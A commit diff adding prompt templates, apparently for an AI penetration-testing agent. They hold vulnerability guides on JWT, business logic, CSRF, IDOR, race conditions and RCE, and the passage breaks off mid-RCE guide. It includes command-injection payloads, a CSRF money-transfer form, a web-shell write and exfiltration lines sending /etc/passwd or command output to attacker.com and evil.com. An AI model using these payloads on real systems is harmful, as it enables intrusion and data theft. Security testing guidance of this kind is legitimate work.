Open-source release for Alpha version
This commit is contained in:
129
strix/prompts/vulnerabilities/authentication_jwt.jinja
Normal file
129
strix/prompts/vulnerabilities/authentication_jwt.jinja
Normal file
@@ -0,0 +1,129 @@
|
||||
<authentication_jwt_guide>
|
||||
<title>AUTHENTICATION & JWT VULNERABILITIES</title>
|
||||
|
||||
<critical>Authentication flaws lead to complete account takeover. JWT misconfigurations are everywhere.</critical>
|
||||
|
||||
<jwt_structure>
|
||||
header.payload.signature
|
||||
- Header: {"alg":"HS256","typ":"JWT"}
|
||||
- Payload: {"sub":"1234","name":"John","iat":1516239022}
|
||||
- Signature: HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)
|
||||
</jwt_structure>
|
||||
|
||||
<common_attacks>
|
||||
<algorithm_confusion>
|
||||
RS256 to HS256:
|
||||
- Change RS256 to HS256 in header
|
||||
- Use public key as HMAC secret
|
||||
- Sign token with public key (often in /jwks.json or /.well-known/)
|
||||
</algorithm_confusion>
|
||||
|
||||
<none_algorithm>
|
||||
- Set "alg": "none" in header
|
||||
- Remove signature completely (keep the trailing dot)
|
||||
</none_algorithm>
|
||||
|
||||
<weak_secrets>
|
||||
Common secrets: 'secret', 'password', '123456', 'key', 'jwt_secret', 'your-256-bit-secret'
|
||||
</weak_secrets>
|
||||
|
||||
<kid_manipulation>
|
||||
- SQL Injection: "kid": "key' UNION SELECT 'secret'--"
|
||||
- Command injection: "kid": "|sleep 10"
|
||||
- Path traversal: "kid": "../../../../../../dev/null"
|
||||
</kid_manipulation>
|
||||
</common_attacks>
|
||||
|
||||
<advanced_techniques>
|
||||
<jwk_injection>
|
||||
Embed public key in token header:
|
||||
{"jwk": {"kty": "RSA", "n": "your-public-key-n", "e": "AQAB"}}
|
||||
</jwk_injection>
|
||||
|
||||
<jku_manipulation>
|
||||
Set jku/x5u to attacker-controlled URL hosting malicious JWKS
|
||||
</jku_manipulation>
|
||||
|
||||
<timing_attacks>
|
||||
Extract signature byte-by-byte using verification timing differences
|
||||
</timing_attacks>
|
||||
</advanced_techniques>
|
||||
|
||||
<oauth_vulnerabilities>
|
||||
<authorization_code_theft>
|
||||
- Exploit redirect_uri with open redirects, subdomain takeover, parameter pollution
|
||||
- Missing/predictable state parameter = CSRF
|
||||
- PKCE downgrade: remove code_challenge parameter
|
||||
</authorization_code_theft>
|
||||
</oauth_vulnerabilities>
|
||||
|
||||
<saml_attacks>
|
||||
- Signature exclusion: remove signature element
|
||||
- Signature wrapping: inject assertions
|
||||
- XXE in SAML responses
|
||||
</saml_attacks>
|
||||
|
||||
<session_attacks>
|
||||
- Session fixation: force known session ID
|
||||
- Session puzzling: mix different session objects
|
||||
- Race conditions in session generation
|
||||
</session_attacks>
|
||||
|
||||
<password_reset_flaws>
|
||||
- Predictable tokens: MD5(timestamp), sequential numbers
|
||||
- Host header injection for reset link poisoning
|
||||
- Race condition resets
|
||||
</password_reset_flaws>
|
||||
|
||||
<mfa_bypass>
|
||||
- Response manipulation: change success:false to true
|
||||
- Status code manipulation: 403 to 200
|
||||
- Brute force with no rate limiting
|
||||
- Backup code abuse
|
||||
</mfa_bypass>
|
||||
|
||||
<advanced_bypasses>
|
||||
<unicode_normalization>
|
||||
Different representations: admin@example.com (fullwidth), аdmin@example.com (Cyrillic)
|
||||
</unicode_normalization>
|
||||
|
||||
<authentication_chaining>
|
||||
- JWT + SQLi: kid parameter with SQL injection
|
||||
- OAuth + XSS: steal tokens via XSS
|
||||
- SAML + XXE + SSRF: chain for internal access
|
||||
</authentication_chaining>
|
||||
</advanced_bypasses>
|
||||
|
||||
<tools>
|
||||
- jwt_tool: Comprehensive JWT testing
|
||||
- Check endpoints: /login, /oauth/authorize, /saml/login, /.well-known/openid-configuration, /jwks.json
|
||||
</tools>
|
||||
|
||||
<validation>
|
||||
To confirm authentication flaw:
|
||||
1. Demonstrate account access without credentials
|
||||
2. Show privilege escalation
|
||||
3. Prove token forgery works
|
||||
4. Bypass authentication/2FA requirements
|
||||
5. Maintain persistent access
|
||||
</validation>
|
||||
|
||||
<false_positives>
|
||||
NOT a vulnerability if:
|
||||
- Requires valid credentials
|
||||
- Only affects own session
|
||||
- Proper signature validation
|
||||
- Token expiration enforced
|
||||
- Rate limiting prevents brute force
|
||||
</false_positives>
|
||||
|
||||
<impact>
|
||||
- Account takeover: access other users' accounts
|
||||
- Privilege escalation: user to admin
|
||||
- Token forgery: create valid tokens
|
||||
- Bypass mechanisms: skip auth/2FA
|
||||
- Persistent access: survives logout
|
||||
</impact>
|
||||
|
||||
<remember>Focus on RS256->HS256, weak secrets, and none algorithm first. Modern apps use multiple auth methods simultaneously - find gaps in integration.</remember>
|
||||
</authentication_jwt_guide>
|
||||
143
strix/prompts/vulnerabilities/business_logic.jinja
Normal file
143
strix/prompts/vulnerabilities/business_logic.jinja
Normal file
@@ -0,0 +1,143 @@
|
||||
<business_logic_flaws_guide>
|
||||
<title>BUSINESS LOGIC FLAWS - OUTSMARTING THE APPLICATION</title>
|
||||
|
||||
<critical>Business logic flaws bypass all technical security controls by exploiting flawed assumptions in application workflow. Often the highest-paying vulnerabilities.</critical>
|
||||
|
||||
<discovery_techniques>
|
||||
- Map complete user journeys and state transitions
|
||||
- Document developer assumptions
|
||||
- Find edge cases in workflows
|
||||
- Look for missing validation steps
|
||||
- Identify trust boundaries
|
||||
</discovery_techniques>
|
||||
|
||||
<high_value_targets>
|
||||
<financial_workflows>
|
||||
- Price manipulation (negative quantities, decimal truncation)
|
||||
- Currency conversion abuse (buy weak, refund strong)
|
||||
- Discount/coupon stacking
|
||||
- Payment method switching after verification
|
||||
- Cart manipulation during checkout
|
||||
</financial_workflows>
|
||||
|
||||
<account_management>
|
||||
- Registration race conditions (same email/username)
|
||||
- Account type elevation
|
||||
- Trial period extension
|
||||
- Subscription downgrade with feature retention
|
||||
</account_management>
|
||||
|
||||
<authorization_flaws>
|
||||
- Function-level bypass (accessing admin functions as user)
|
||||
- Object reference manipulation
|
||||
- Permission inheritance bugs
|
||||
- Multi-tenancy isolation failures
|
||||
</authorization_flaws>
|
||||
</high_value_targets>
|
||||
|
||||
<exploitation_techniques>
|
||||
<race_conditions>
|
||||
Use race conditions to:
|
||||
- Double-spend vouchers/credits
|
||||
- Bypass rate limits
|
||||
- Create duplicate accounts
|
||||
- Exploit TOCTOU vulnerabilities
|
||||
</race_conditions>
|
||||
|
||||
<state_manipulation>
|
||||
- Skip workflow steps
|
||||
- Replay previous states
|
||||
- Force invalid state transitions
|
||||
- Manipulate hidden parameters
|
||||
</state_manipulation>
|
||||
|
||||
<input_manipulation>
|
||||
- Type confusion: string where int expected
|
||||
- Boundary values: 0, -1, MAX_INT
|
||||
- Format abuse: scientific notation, Unicode
|
||||
- Encoding tricks: double encoding, mixed encoding
|
||||
</input_manipulation>
|
||||
</exploitation_techniques>
|
||||
|
||||
<common_flaws>
|
||||
<shopping_cart>
|
||||
- Add items with negative price
|
||||
- Modify prices client-side
|
||||
- Apply expired coupons
|
||||
- Stack incompatible discounts
|
||||
- Change currency after price lock
|
||||
</shopping_cart>
|
||||
|
||||
<payment_processing>
|
||||
- Complete order before payment
|
||||
- Partial payment acceptance
|
||||
- Payment replay attacks
|
||||
- Void after delivery
|
||||
- Refund more than paid
|
||||
</payment_processing>
|
||||
|
||||
<user_lifecycle>
|
||||
- Premium features in trial
|
||||
- Account deletion bypasses
|
||||
- Privilege retention after demotion
|
||||
- Transfer restrictions bypass
|
||||
</user_lifecycle>
|
||||
</common_flaws>
|
||||
|
||||
<advanced_techniques>
|
||||
<business_constraint_violations>
|
||||
- Exceed account limits
|
||||
- Bypass geographic restrictions
|
||||
- Violate temporal constraints
|
||||
- Break dependency chains
|
||||
</business_constraint_violations>
|
||||
|
||||
<workflow_abuse>
|
||||
- Parallel execution of exclusive processes
|
||||
- Recursive operations (infinite loops)
|
||||
- Asynchronous timing exploitation
|
||||
- Callback manipulation
|
||||
</workflow_abuse>
|
||||
</advanced_techniques>
|
||||
|
||||
<validation>
|
||||
To confirm business logic flaw:
|
||||
1. Demonstrate financial impact
|
||||
2. Show consistent reproduction
|
||||
3. Prove bypass of intended restrictions
|
||||
4. Document assumption violation
|
||||
5. Quantify potential damage
|
||||
</validation>
|
||||
|
||||
<false_positives>
|
||||
NOT a business logic flaw if:
|
||||
- Requires technical vulnerability (SQLi, XSS)
|
||||
- Working as designed (bad design ≠ vulnerability)
|
||||
- Only affects display/UI
|
||||
- No security impact
|
||||
- Requires privileged access
|
||||
</false_positives>
|
||||
|
||||
<impact>
|
||||
- Financial loss (direct monetary impact)
|
||||
- Unauthorized access to features/data
|
||||
- Service disruption
|
||||
- Compliance violations
|
||||
- Reputation damage
|
||||
</impact>
|
||||
|
||||
<pro_tips>
|
||||
1. Think like a malicious user, not a developer
|
||||
2. Question every assumption
|
||||
3. Test boundary conditions obsessively
|
||||
4. Combine multiple small issues
|
||||
5. Focus on money flows
|
||||
6. Check state machines thoroughly
|
||||
7. Abuse features, don't break them
|
||||
8. Document business impact clearly
|
||||
9. Test integration points
|
||||
10. Time is often a factor - exploit it
|
||||
</pro_tips>
|
||||
|
||||
<remember>Business logic flaws are about understanding and exploiting the application's rules, not breaking them with technical attacks. The best findings come from deep understanding of the business domain.</remember>
|
||||
</business_logic_flaws_guide>
|
||||
168
strix/prompts/vulnerabilities/csrf.jinja
Normal file
168
strix/prompts/vulnerabilities/csrf.jinja
Normal file
@@ -0,0 +1,168 @@
|
||||
<csrf_vulnerability_guide>
|
||||
<title>CROSS-SITE REQUEST FORGERY (CSRF) - ADVANCED EXPLOITATION</title>
|
||||
|
||||
<critical>CSRF forces authenticated users to execute unwanted actions, exploiting the trust a site has in the user's browser.</critical>
|
||||
|
||||
<high_value_targets>
|
||||
- Password/email change forms
|
||||
- Money transfer/payment functions
|
||||
- Account deletion/deactivation
|
||||
- Permission/role changes
|
||||
- API key generation/regeneration
|
||||
- OAuth connection/disconnection
|
||||
- 2FA enable/disable
|
||||
- Privacy settings modification
|
||||
- Admin functions
|
||||
- File uploads/deletions
|
||||
</high_value_targets>
|
||||
|
||||
<discovery_techniques>
|
||||
<token_analysis>
|
||||
Common token names: csrf_token, csrftoken, _csrf, authenticity_token, __RequestVerificationToken, X-CSRF-TOKEN
|
||||
|
||||
Check if tokens are:
|
||||
- Actually validated (remove and test)
|
||||
- Tied to user session
|
||||
- Reusable across requests
|
||||
- Present in GET requests
|
||||
- Predictable or static
|
||||
</token_analysis>
|
||||
|
||||
<http_methods>
|
||||
- Test if POST endpoints accept GET
|
||||
- Try method override headers: _method, X-HTTP-Method-Override
|
||||
- Check if PUT/DELETE lack protection
|
||||
</http_methods>
|
||||
</discovery_techniques>
|
||||
|
||||
<exploitation_techniques>
|
||||
<basic_forms>
|
||||
HTML form auto-submit:
|
||||
<form action="https://target.com/transfer" method="POST">
|
||||
<input name="amount" value="1000">
|
||||
<input name="to" value="attacker">
|
||||
</form>
|
||||
<script>document.forms[0].submit()</script>
|
||||
</basic_forms>
|
||||
|
||||
<json_csrf>
|
||||
For JSON endpoints:
|
||||
<form enctype="text/plain" action="https://target.com/api">
|
||||
<input name='{"amount":1000,"to":"attacker","ignore":"' value='"}'>
|
||||
</form>
|
||||
</json_csrf>
|
||||
|
||||
<multipart_csrf>
|
||||
For file uploads:
|
||||
Use XMLHttpRequest with credentials
|
||||
Generate multipart/form-data boundaries
|
||||
</multipart_csrf>
|
||||
</exploitation_techniques>
|
||||
|
||||
<bypass_techniques>
|
||||
<token_bypasses>
|
||||
- Null token: remove parameter entirely
|
||||
- Empty token: csrf_token=
|
||||
- Token from own account: use your valid token
|
||||
- Token fixation: force known token value
|
||||
- Method interchange: GET token used for POST
|
||||
</token_bypasses>
|
||||
|
||||
<header_bypasses>
|
||||
- Referer bypass: use data: URI, about:blank
|
||||
- Origin bypass: null origin via sandboxed iframe
|
||||
- CORS misconfigurations
|
||||
</header_bypasses>
|
||||
|
||||
<content_type_tricks>
|
||||
- Change multipart to application/x-www-form-urlencoded
|
||||
- Use text/plain for JSON endpoints
|
||||
- Exploit parsers that accept multiple formats
|
||||
</content_type_tricks>
|
||||
</bypass_techniques>
|
||||
|
||||
<advanced_techniques>
|
||||
<subdomain_csrf>
|
||||
- XSS on subdomain = CSRF on main domain
|
||||
- Cookie scope abuse (domain=.example.com)
|
||||
- Subdomain takeover for CSRF
|
||||
</subdomain_csrf>
|
||||
|
||||
<csrf_login>
|
||||
- Force victim to login as attacker
|
||||
- Plant backdoors in victim's account
|
||||
- Access victim's future data
|
||||
</csrf_login>
|
||||
|
||||
<csrf_logout>
|
||||
- Force logout → login CSRF → account takeover
|
||||
</csrf_logout>
|
||||
|
||||
<double_submit_csrf>
|
||||
If using double-submit cookies:
|
||||
- Set cookie via XSS/subdomain
|
||||
- Cookie injection via header injection
|
||||
- Cookie tossing attacks
|
||||
</double_submit_csrf>
|
||||
</advanced_techniques>
|
||||
|
||||
<special_contexts>
|
||||
<websocket_csrf>
|
||||
- Cross-origin WebSocket hijacking
|
||||
- Steal tokens from WebSocket messages
|
||||
</websocket_csrf>
|
||||
|
||||
<graphql_csrf>
|
||||
- GET requests with query parameter
|
||||
- Batched mutations
|
||||
- Subscription abuse
|
||||
</graphql_csrf>
|
||||
|
||||
<api_csrf>
|
||||
- Bearer tokens in URL parameters
|
||||
- API keys in GET requests
|
||||
- Insecure CORS policies
|
||||
</api_csrf>
|
||||
</special_contexts>
|
||||
|
||||
<validation>
|
||||
To confirm CSRF:
|
||||
1. Create working proof-of-concept
|
||||
2. Test across browsers
|
||||
3. Verify action completes successfully
|
||||
4. No user interaction required (beyond visiting page)
|
||||
5. Works with active session
|
||||
</validation>
|
||||
|
||||
<false_positives>
|
||||
NOT CSRF if:
|
||||
- Requires valid CSRF token
|
||||
- SameSite cookies properly configured
|
||||
- Proper origin/referer validation
|
||||
- User interaction required
|
||||
- Only affects non-sensitive actions
|
||||
</false_positives>
|
||||
|
||||
<impact>
|
||||
- Account takeover
|
||||
- Financial loss
|
||||
- Data modification/deletion
|
||||
- Privilege escalation
|
||||
- Privacy violations
|
||||
</impact>
|
||||
|
||||
<pro_tips>
|
||||
1. Check all state-changing operations
|
||||
2. Test file upload endpoints
|
||||
3. Look for token disclosure in URLs
|
||||
4. Chain with XSS for token theft
|
||||
5. Check mobile API endpoints
|
||||
6. Test CORS configurations
|
||||
7. Verify SameSite cookie settings
|
||||
8. Look for method override possibilities
|
||||
9. Test WebSocket endpoints
|
||||
10. Document clear attack scenario
|
||||
</pro_tips>
|
||||
|
||||
<remember>Modern CSRF requires creativity - look for token leaks, chain with other vulnerabilities, and focus on high-impact actions. SameSite cookies are not always properly configured.</remember>
|
||||
</csrf_vulnerability_guide>
|
||||
164
strix/prompts/vulnerabilities/idor.jinja
Normal file
164
strix/prompts/vulnerabilities/idor.jinja
Normal file
@@ -0,0 +1,164 @@
|
||||
<idor_vulnerability_guide>
|
||||
<title>INSECURE DIRECT OBJECT REFERENCE (IDOR) - ELITE TECHNIQUES</title>
|
||||
|
||||
<critical>IDORs are among the HIGHEST IMPACT vulnerabilities - direct unauthorized data access and account takeover.</critical>
|
||||
|
||||
<discovery_techniques>
|
||||
<parameter_analysis>
|
||||
- Numeric IDs: user_id=123, account=456
|
||||
- UUID/GUID patterns: id=550e8400-e29b-41d4-a716-446655440000
|
||||
- Encoded IDs: Base64, hex, custom encoding
|
||||
- Composite IDs: user-org-123-456, ACCT:2024:00123
|
||||
- Hash-based IDs: Check if predictable (MD5 of sequential numbers)
|
||||
- Object references in: URLs, POST bodies, headers, cookies, JWT tokens
|
||||
</parameter_analysis>
|
||||
|
||||
<advanced_enumeration>
|
||||
- Boundary values: 0, -1, null, empty string, max int
|
||||
- Different formats: {"id":123} vs {"id":"123"}
|
||||
- ID patterns: increment, decrement, similar patterns
|
||||
- Wildcard testing: *, %, _, all
|
||||
- Array notation: id[]=123&id[]=456
|
||||
</advanced_enumeration>
|
||||
</discovery_techniques>
|
||||
|
||||
<high_value_targets>
|
||||
- User profiles and PII
|
||||
- Financial records/transactions
|
||||
- Private messages/communications
|
||||
- Medical records
|
||||
- API keys/secrets
|
||||
- Internal documents
|
||||
- Admin functions
|
||||
- Export endpoints
|
||||
- Backup files
|
||||
- Debug information
|
||||
</high_value_targets>
|
||||
|
||||
<exploitation_techniques>
|
||||
<direct_access>
|
||||
Simple increment/decrement:
|
||||
/api/user/123 → /api/user/124
|
||||
/download?file=report_2024_01.pdf → report_2024_02.pdf
|
||||
</direct_access>
|
||||
|
||||
<mass_enumeration>
|
||||
Automate ID ranges:
|
||||
for i in range(1, 10000):
|
||||
/api/user/{i}/data
|
||||
</mass_enumeration>
|
||||
|
||||
<type_confusion>
|
||||
- String where int expected: "123" vs 123
|
||||
- Array where single value expected: [123] vs 123
|
||||
- Object injection: {"id": {"$ne": null}}
|
||||
</type_confusion>
|
||||
</exploitation_techniques>
|
||||
|
||||
<advanced_techniques>
|
||||
<uuid_prediction>
|
||||
- Time-based UUIDs (version 1): predictable timestamps
|
||||
- Weak randomness in version 4
|
||||
- Sequential UUID generation
|
||||
</uuid_prediction>
|
||||
|
||||
<blind_idor>
|
||||
- Side channel: response time, size differences
|
||||
- Error message variations
|
||||
- Boolean-based: exists vs not exists
|
||||
</blind_idor>
|
||||
|
||||
<secondary_idor>
|
||||
First get list of IDs, then access:
|
||||
/api/users → [123, 456, 789]
|
||||
/api/user/789/private-data
|
||||
</secondary_idor>
|
||||
</advanced_techniques>
|
||||
|
||||
<bypass_techniques>
|
||||
<parameter_pollution>
|
||||
?id=123&id=456 (takes last or first?)
|
||||
?user_id=victim&user_id=attacker
|
||||
</parameter_pollution>
|
||||
|
||||
<encoding_tricks>
|
||||
- URL encode: %31%32%33
|
||||
- Double encoding: %25%33%31
|
||||
- Unicode: \u0031\u0032\u0033
|
||||
</encoding_tricks>
|
||||
|
||||
<case_variation>
|
||||
userId vs userid vs USERID vs UserId
|
||||
</case_variation>
|
||||
|
||||
<format_switching>
|
||||
/api/user.json?id=123
|
||||
/api/user.xml?id=123
|
||||
/api/user/123.json vs /api/user/123
|
||||
</format_switching>
|
||||
</bypass_techniques>
|
||||
|
||||
<special_contexts>
|
||||
<graphql_idor>
|
||||
Query batching and alias abuse:
|
||||
query { u1: user(id: 123) { data } u2: user(id: 456) { data } }
|
||||
</graphql_idor>
|
||||
|
||||
<websocket_idor>
|
||||
Subscribe to other users' channels:
|
||||
{"subscribe": "user_456_notifications"}
|
||||
</websocket_idor>
|
||||
|
||||
<file_path_idor>
|
||||
../../../other_user/private.pdf
|
||||
/files/user_123/../../user_456/data.csv
|
||||
</file_path_idor>
|
||||
</special_contexts>
|
||||
|
||||
<chaining_attacks>
|
||||
- IDOR + XSS: Access and weaponize other users' data
|
||||
- IDOR + CSRF: Force actions on discovered objects
|
||||
- IDOR + SQLi: Extract all IDs then access
|
||||
</chaining_attacks>
|
||||
|
||||
<validation>
|
||||
To confirm IDOR:
|
||||
1. Access data/function without authorization
|
||||
2. Demonstrate data belongs to another user
|
||||
3. Show consistent access pattern
|
||||
4. Prove it's not intended functionality
|
||||
5. Document security impact
|
||||
</validation>
|
||||
|
||||
<false_positives>
|
||||
NOT IDOR if:
|
||||
- Public data by design
|
||||
- Proper authorization checks
|
||||
- Only affects own resources
|
||||
- Rate limiting prevents exploitation
|
||||
- Data is sanitized/limited
|
||||
</false_positives>
|
||||
|
||||
<impact>
|
||||
- Personal data exposure
|
||||
- Financial information theft
|
||||
- Account takeover
|
||||
- Business data leak
|
||||
- Compliance violations (GDPR, HIPAA)
|
||||
</impact>
|
||||
|
||||
<pro_tips>
|
||||
1. Test all ID parameters systematically
|
||||
2. Look for patterns in IDs
|
||||
3. Check export/download functions
|
||||
4. Test different HTTP methods
|
||||
5. Monitor for blind IDOR via timing
|
||||
6. Check mobile APIs separately
|
||||
7. Look for backup/debug endpoints
|
||||
8. Test file path traversal
|
||||
9. Automate enumeration carefully
|
||||
10. Chain with other vulnerabilities
|
||||
</pro_tips>
|
||||
|
||||
<remember>IDORs are about broken access control, not just guessable IDs. Even GUIDs can be vulnerable if disclosed elsewhere. Focus on high-impact data access.</remember>
|
||||
</idor_vulnerability_guide>
|
||||
194
strix/prompts/vulnerabilities/race_conditions.jinja
Normal file
194
strix/prompts/vulnerabilities/race_conditions.jinja
Normal file
@@ -0,0 +1,194 @@
|
||||
<race_conditions_guide>
|
||||
<title>RACE CONDITIONS - TIME-OF-CHECK TIME-OF-USE (TOCTOU) MASTERY</title>
|
||||
|
||||
<critical>Race conditions lead to financial fraud, privilege escalation, and business logic bypass. Often overlooked but devastating.</critical>
|
||||
|
||||
<high_value_targets>
|
||||
- Payment/checkout processes
|
||||
- Coupon/discount redemption
|
||||
- Account balance operations
|
||||
- Voting/rating systems
|
||||
- Limited resource allocation
|
||||
- User registration (username claims)
|
||||
- Password reset flows
|
||||
- File upload/processing
|
||||
- API rate limits
|
||||
- Loyalty points/rewards
|
||||
- Stock/inventory management
|
||||
- Withdrawal functions
|
||||
</high_value_targets>
|
||||
|
||||
<discovery_techniques>
|
||||
<identify_race_windows>
|
||||
Multi-step processes with gaps between:
|
||||
1. Check phase (validation/verification)
|
||||
2. Use phase (action execution)
|
||||
3. Write phase (state update)
|
||||
|
||||
Look for:
|
||||
- "Check balance then deduct"
|
||||
- "Verify coupon then apply"
|
||||
- "Check inventory then purchase"
|
||||
- "Validate token then consume"
|
||||
</identify_race_windows>
|
||||
|
||||
<detection_methods>
|
||||
- Parallel requests with same data
|
||||
- Rapid sequential requests
|
||||
- Monitor for inconsistent states
|
||||
- Database transaction analysis
|
||||
- Response timing variations
|
||||
</detection_methods>
|
||||
</discovery_techniques>
|
||||
|
||||
<exploitation_tools>
|
||||
<turbo_intruder>
|
||||
Python script for Burp Suite Turbo Intruder:
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
engine = RequestEngine(endpoint=target.endpoint,
|
||||
concurrentConnections=30,
|
||||
requestsPerConnection=100,
|
||||
pipeline=False)
|
||||
|
||||
for i in range(30):
|
||||
engine.queue(target.req, gate='race1')
|
||||
|
||||
engine.openGate('race1')
|
||||
```
|
||||
</turbo_intruder>
|
||||
|
||||
<manual_methods>
|
||||
- Browser developer tools (multiple tabs)
|
||||
- curl with & for background: curl url & curl url &
|
||||
- Python asyncio/aiohttp
|
||||
- Go routines
|
||||
- Node.js Promise.all()
|
||||
</manual_methods>
|
||||
</exploitation_tools>
|
||||
|
||||
<common_vulnerabilities>
|
||||
<financial_races>
|
||||
- Double withdrawal
|
||||
- Multiple discount applications
|
||||
- Balance transfer duplication
|
||||
- Payment bypass
|
||||
- Cashback multiplication
|
||||
</financial_races>
|
||||
|
||||
<authentication_races>
|
||||
- Multiple password resets
|
||||
- Account creation with same email
|
||||
- 2FA bypass
|
||||
- Session generation collision
|
||||
</authentication_races>
|
||||
|
||||
<resource_races>
|
||||
- Inventory depletion bypass
|
||||
- Rate limit circumvention
|
||||
- File overwrite
|
||||
- Token reuse
|
||||
</resource_races>
|
||||
</common_vulnerabilities>
|
||||
|
||||
<advanced_techniques>
|
||||
<single_packet_attack>
|
||||
HTTP/2 multiplexing for true simultaneous delivery:
|
||||
- All requests in single TCP packet
|
||||
- Microsecond precision
|
||||
- Bypass even mutex locks
|
||||
</single_packet_attack>
|
||||
|
||||
<last_byte_sync>
|
||||
Send all but last byte, then:
|
||||
1. Hold connections open
|
||||
2. Send final byte simultaneously
|
||||
3. Achieve nanosecond precision
|
||||
</last_byte_sync>
|
||||
|
||||
<connection_warming>
|
||||
Pre-establish connections:
|
||||
1. Create connection pool
|
||||
2. Prime with dummy requests
|
||||
3. Send race requests on warm connections
|
||||
</connection_warming>
|
||||
</advanced_techniques>
|
||||
|
||||
<bypass_techniques>
|
||||
<distributed_attacks>
|
||||
- Multiple source IPs
|
||||
- Different user sessions
|
||||
- Varied request headers
|
||||
- Geographic distribution
|
||||
</distributed_attacks>
|
||||
|
||||
<timing_optimization>
|
||||
- Measure server processing time
|
||||
- Align requests with server load
|
||||
- Exploit maintenance windows
|
||||
- Target async operations
|
||||
</timing_optimization>
|
||||
</bypass_techniques>
|
||||
|
||||
<specific_scenarios>
|
||||
<limit_bypass>
|
||||
"Limited to 1 per user" → Send N parallel requests
|
||||
Results: N successful purchases
|
||||
</limit_bypass>
|
||||
|
||||
<balance_manipulation>
|
||||
Transfer $100 from account with $100 balance:
|
||||
- 10 parallel transfers
|
||||
- Each checks balance: $100 available
|
||||
- All proceed: -$900 balance
|
||||
</balance_manipulation>
|
||||
|
||||
<vote_manipulation>
|
||||
Single vote limit:
|
||||
- Send multiple vote requests simultaneously
|
||||
- All pass validation
|
||||
- Multiple votes counted
|
||||
</vote_manipulation>
|
||||
</specific_scenarios>
|
||||
|
||||
<validation>
|
||||
To confirm race condition:
|
||||
1. Demonstrate parallel execution success
|
||||
2. Show single request fails
|
||||
3. Prove timing dependency
|
||||
4. Document financial/security impact
|
||||
5. Achieve consistent reproduction
|
||||
</validation>
|
||||
|
||||
<false_positives>
|
||||
NOT a race condition if:
|
||||
- Idempotent operations
|
||||
- Proper locking mechanisms
|
||||
- Atomic database operations
|
||||
- Queue-based processing
|
||||
- No security impact
|
||||
</false_positives>
|
||||
|
||||
<impact>
|
||||
- Financial loss (double spending)
|
||||
- Resource exhaustion
|
||||
- Data corruption
|
||||
- Business logic bypass
|
||||
- Privilege escalation
|
||||
</impact>
|
||||
|
||||
<pro_tips>
|
||||
1. Use HTTP/2 for better synchronization
|
||||
2. Automate with Turbo Intruder
|
||||
3. Test payment flows extensively
|
||||
4. Monitor database locks
|
||||
5. Try different concurrency levels
|
||||
6. Test async operations
|
||||
7. Look for compensating transactions
|
||||
8. Check mobile app endpoints
|
||||
9. Test during high load
|
||||
10. Document exact timing windows
|
||||
</pro_tips>
|
||||
|
||||
<remember>Modern race conditions require microsecond precision. Focus on financial operations and limited resource allocation. Single-packet attacks are most reliable.</remember>
|
||||
</race_conditions_guide>
|
||||
222
strix/prompts/vulnerabilities/rce.jinja
Normal file
222
strix/prompts/vulnerabilities/rce.jinja
Normal file
@@ -0,0 +1,222 @@
|
||||
<rce_vulnerability_guide>
|
||||
<title>REMOTE CODE EXECUTION (RCE) - MASTER EXPLOITATION</title>
|
||||
|
||||
<critical>RCE is the holy grail - complete system compromise. Modern RCE requires sophisticated bypass techniques.</critical>
|
||||
|
||||
<common_injection_contexts>
|
||||
- System commands: ping, nslookup, traceroute, whois
|
||||
- File operations: upload, download, convert, resize
|
||||
- PDF generators: wkhtmltopdf, phantomjs
|
||||
- Image processors: ImageMagick, GraphicsMagick
|
||||
- Media converters: ffmpeg, sox
|
||||
- Archive handlers: tar, zip, 7z
|
||||
- Version control: git, svn operations
|
||||
- LDAP queries
|
||||
- Database backup/restore
|
||||
- Email sending functions
|
||||
</common_injection_contexts>
|
||||
|
||||
<detection_methods>
|
||||
<time_based>
|
||||
- Linux/Unix: ;sleep 10 # | sleep 10 # `sleep 10` $(sleep 10)
|
||||
- Windows: & ping -n 10 127.0.0.1 & || ping -n 10 127.0.0.1 ||
|
||||
- PowerShell: ;Start-Sleep -s 10 #
|
||||
</time_based>
|
||||
|
||||
<dns_oob>
|
||||
- nslookup $(whoami).attacker.com
|
||||
- ping $(hostname).attacker.com
|
||||
- curl http://$(cat /etc/passwd | base64).attacker.com
|
||||
</dns_oob>
|
||||
|
||||
<output_based>
|
||||
- Direct: ;cat /etc/passwd
|
||||
- Encoded: ;cat /etc/passwd | base64
|
||||
- Hex: ;xxd -p /etc/passwd
|
||||
</output_based>
|
||||
</detection_methods>
|
||||
|
||||
<command_injection_vectors>
|
||||
<basic_payloads>
|
||||
; id
|
||||
| id
|
||||
|| id
|
||||
& id
|
||||
&& id
|
||||
`id`
|
||||
$(id)
|
||||
${IFS}id
|
||||
</basic_payloads>
|
||||
|
||||
<bypass_techniques>
|
||||
- Space bypass: ${IFS}, $IFS$9, <, %09 (tab)
|
||||
- Blacklist bypass: w'h'o'a'm'i, w"h"o"a"m"i
|
||||
- Command substitution: $(a=c;b=at;$a$b /etc/passwd)
|
||||
- Encoding: echo 'aWQ=' | base64 -d | sh
|
||||
- Case variation: WhOaMi (Windows)
|
||||
</bypass_techniques>
|
||||
</command_injection_vectors>
|
||||
|
||||
<language_specific_rce>
|
||||
<php>
|
||||
- eval($_GET['cmd'])
|
||||
- system(), exec(), shell_exec(), passthru()
|
||||
- preg_replace with /e modifier
|
||||
- assert() with string input
|
||||
- unserialize() exploitation
|
||||
</php>
|
||||
|
||||
<python>
|
||||
- eval(), exec()
|
||||
- subprocess.call(shell=True)
|
||||
- os.system()
|
||||
- pickle deserialization
|
||||
- yaml.load()
|
||||
</python>
|
||||
|
||||
<java>
|
||||
- Runtime.getRuntime().exec()
|
||||
- ProcessBuilder
|
||||
- ScriptEngine eval
|
||||
- JNDI injection
|
||||
- Expression Language injection
|
||||
</java>
|
||||
|
||||
<nodejs>
|
||||
- eval()
|
||||
- child_process.exec()
|
||||
- vm.runInContext()
|
||||
- require() pollution
|
||||
</nodejs>
|
||||
</language_specific_rce>
|
||||
|
||||
<advanced_exploitation>
|
||||
<polyglot_payloads>
|
||||
Works in multiple contexts:
|
||||
;id;#' |id| #" |id| #
|
||||
${{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}
|
||||
</polyglot_payloads>
|
||||
|
||||
<blind_rce>
|
||||
- DNS exfiltration: $(whoami).evil.com
|
||||
- HTTP callbacks: curl evil.com/$(id)
|
||||
- Time delays for boolean extraction
|
||||
- Write to web root: echo '<?php system($_GET["cmd"]); ?>' > /var/www/shell.php
|
||||
</blind_rce>
|
||||
|
||||
<chained_exploitation>
|
||||
